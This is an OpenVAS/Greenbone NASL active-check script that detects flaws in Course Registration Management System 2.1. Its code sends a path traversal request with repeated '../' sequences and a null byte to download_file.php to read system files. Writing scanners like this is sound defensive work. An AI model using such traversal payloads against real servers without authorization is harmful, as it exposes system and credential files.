Course MS <= 2.1 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103088");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-02-23 13:14:43 +0100 (Wed, 23 Feb 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Course MS <= 2.1 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Course Registration Management System is prone to multiple
  input validation vulnerabilities.");

  script_tag(name:"insight", value:"The following flaws exist:

  - Multiple cross-site scripting (XSS) vulnerabilities

  - SQL-injection (SQLi) vulnerability

  - Local file include (LFI) vulnerability");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting these issues could allow an attacker to execute
  arbitrary script code and PHP code in the browser of an unsuspecting user in the context of the
  affected site, steal cookie-based authentication credentials, compromise the application, access
  or modify data, or exploit latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"Course Registration Management System version 2.1 and probably
  prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46495");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

if (!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/coursems", http_cgi_dirs(port:port))) {

  if (dir == "/")
    dir = "";

  res = http_get_cache(port:port, item:dir + "/download_file.php");
  if (res !~ "^HTTP/1\.[01] 200")
    continue;

  foreach file (keys(files)) {
    url = dir + "/download_file.php?path=" + crap(data:"../", length:6*9) + files[file] + "%00";

    if (http_vuln_check(port:port, url:url, pattern:file)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);